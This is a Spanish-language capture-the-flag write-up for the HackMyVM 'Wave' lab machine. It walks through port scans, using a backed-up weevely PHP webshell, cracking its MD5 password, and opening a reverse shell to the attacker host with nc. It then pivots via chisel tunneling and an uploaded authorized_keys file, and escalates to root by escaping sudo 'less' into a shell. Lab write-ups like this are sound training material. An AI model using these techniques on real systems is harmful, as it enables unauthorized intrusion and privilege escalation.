HackMyVM - Wave

logo

  • Extract Phar Archive
  • Crack MD5 Hash
  • Backdoor PHP Weevely
  • Chisel Port Forwarding
  • Abuse Copyparty-sfx.py - Upload Authorized_keys
  • Abuse Less Binary - Screen size

Escaneo de puertos

❯ nmap -p- -T5 -n -v 192.168.1.12

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,80 192.168.1.12

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey: 
|   256 07:e9:c8:22:59:a5:00:41:15:fa:26:0f:7d:d3:29:ff (ECDSA)
|_  256 c7:81:8e:06:49:33:8f:1a:88:3b:82:9e:27:f3:72:1e (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry 
|_/backup
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP TCP - 80

http

El archivo robots.txt y me muestra el directorio backup.

❯ curl http://192.168.1.12/robots.txt
Disallow: /backup

En /backup encuentro archivos con la extensión .bck.

index_of_backup

Me llama la atención el archivo weevely.bck, con file veo que se trata de un archivo phar.

❯ file weevely.bck
weevely.bck: PHP phar archive with SHA1 signature

weevely proporciona una interfaz de línea de comandos para generar una webshell PHP que se puede cargar en un servidor comprometido.

En Kali Linux viene el binario instalado.

❯ weevely

[+] weevely 4.0.1
[!] Error: the following arguments are required: url, password

[+] Run terminal or command on the target
    weevely <URL> <password> [cmd]

[+] Recover an existing session
    weevely session <path> [cmd]

[+] Generate new agent
    weevely generate <password> <path>

Al ser un archivo php me voy al navegador web para ver de que se trata.

weevely_not_found

Como no encuentro weevely.php realizo fuerza bruta al tipo de archivo php.

❯ wfuzz -c -t 200 --hc=404 --hl=7 -w /usr/share/seclists/Discovery/Web-Content/big.txt "http://192.168.1.12/weevely.phpFUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.12/weevely.phpFUZZ
Total requests: 20476

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                   
=====================================================================

000000762:   200        0 L      0 W        0 Ch        "7" 

Ahora si carga el archivo pero no muestra nada.

weevely_found

Con phar extraigo el contenido del archivo weevely.bck que anteriormente he descargado.

❯ phar extract -f weevely.bck
//HackMyVM/Wave/weevely.bck/x ...ok

Lanzo un cat al archivo x y veo que en la función eval() hay unas variables codificadas en md5.

xfile

Me voy a Crackstation para romper el hash MD5.

crackstation

Una vez obtengo la contraseña ya puedo usar weevely.

❯ weevely http://192.168.1.12/weevely.php7  "contraseña"

[+] weevely 4.0.1

[+] Target:	www-data@wave:/var/www/html
[+] Session:	/home/noname/.weevely/sessions/192.168.1.12/weevely_0.session
[+] Shell:	System shell

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> 

Escribo help y me muestra una lista de opciones.

helpweevely

Me lanzo una shell con backdoor_reversetcp lhost lport.

weevely> :backdoor_reversetcp 192.168.1.18 4444

Obtengo la shell.

❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.12] 55172
/bin/sh: 0: can't access tty; job control turned off
$ id    
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Después de realizar el tratamiento de la tty enumero los usuarios del sistema mediante el archivo passwd.

www-data@wave:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
angie:x:1000:1000:angie,,,:/home/angie:/bin/bash
carla:x:1001:1001:,,,:/home/carla:/bin/bash

Enumero los procesos de angie y veo que lanza el archivo copyparty-sfx.py de forma local.

www-data@wave:/tmp$ ps aux | grep angie
angie        389  0.0  0.0   2576   904 ?        Ss   17:52   0:00 /bin/sh -c /usr/bin/python3 /home/angie/copyparty-sfx.py -i 127.0.0.1
angie        391  0.2  2.0 660216 41836 ?        Sl   17:52   0:00 /usr/bin/python3 /home/angie/copyparty-sfx.py -i 127.0.0.1

Con ss observo los puertos internos y preparo chisel para realizar un portforwarding al puerto 3923.

www-data@wave:/tmp$ ss -ltun
Netid               State                Recv-Q               Send-Q                             Local Address:Port                               Peer Address:Port               Process               
udp                 UNCONN               0                    0                                        0.0.0.0:68                                      0.0.0.0:*                                        
tcp                 LISTEN               0                    511                                      0.0.0.0:80                                      0.0.0.0:*                                        
tcp                 LISTEN               0                    128                                      0.0.0.0:22                                      0.0.0.0:*                                        
tcp                 LISTEN               0                    1024                                   127.0.0.1:3923                                    0.0.0.0:*                                        
tcp                 LISTEN               0                    511                                         [::]:80                                         [::]:*                                        
tcp                 LISTEN               0                    128                                         [::]:22 

Maquina atacante.

❯ ./chisel server -p 9080 --reverse

Máquina víctima.

www-data@wave:/tmp$ ./chisel client 192.168.1.18:9080 R:3923:127.0.0.1:3923

Con firefox voy al puerto 3923 y encuentro dos archivos.

wavelocalhost3923

Archivo user.txt.

flaguser

Archivo copyparty-sfx.py.

copypartyfx

Como estoy dentro de /home/angie creo la carpeta .ssh y seguidamente subo el archivo authorized_keys de la máquina atacante para pivotar de www-data a angie.

authorized_keys

Me conecto al sistema.

❯ ssh angie@192.168.1.12
angie@wave:~$ id
uid=1000(angie) gid=1000(angie) grupos=1000(angie),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)

Enumero permisos de sudo.

angie@wave:~$ sudo -l
Matching Defaults entries for angie on wave:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User angie may run the following commands on wave:
    (ALL) NOPASSWD: /usr/bin/less -F /opt/secret.txt

Archivo secret.txt.

angie@wave:~$ cat /opt/secret.txt 
Dietro di lui, 
dietro di lui solo la nebbia.

Lanzo el binario less pero no ocurre nada.

HackMyVM/Wave/privesc

PRIVESC

Para obtener el root redimensiono la ventana de la terminal.

redimension

Al pulsar enter el comando less se queda como pausado porque al tener pocas líneas no puede terminar de imprimir el texto correctamente.

redimension2

En este momento pulso la tecla ! y escribo /bin/bash.

redimension3

Pulso enter y obtengo el root.

redimension4

Dejo la terminal como estaba anteriormente y listo.

root

Para obtener el root se puede hacer con stty rows 5 cols 5 y seguir los mismos pasos pero al ser un writeup escrito creo que se ve mejor redimensionando la terminal.

Y aquí termina la máquina Wave.

Saludos!

Thanks to PL4GU3, Powerful and sML for the help.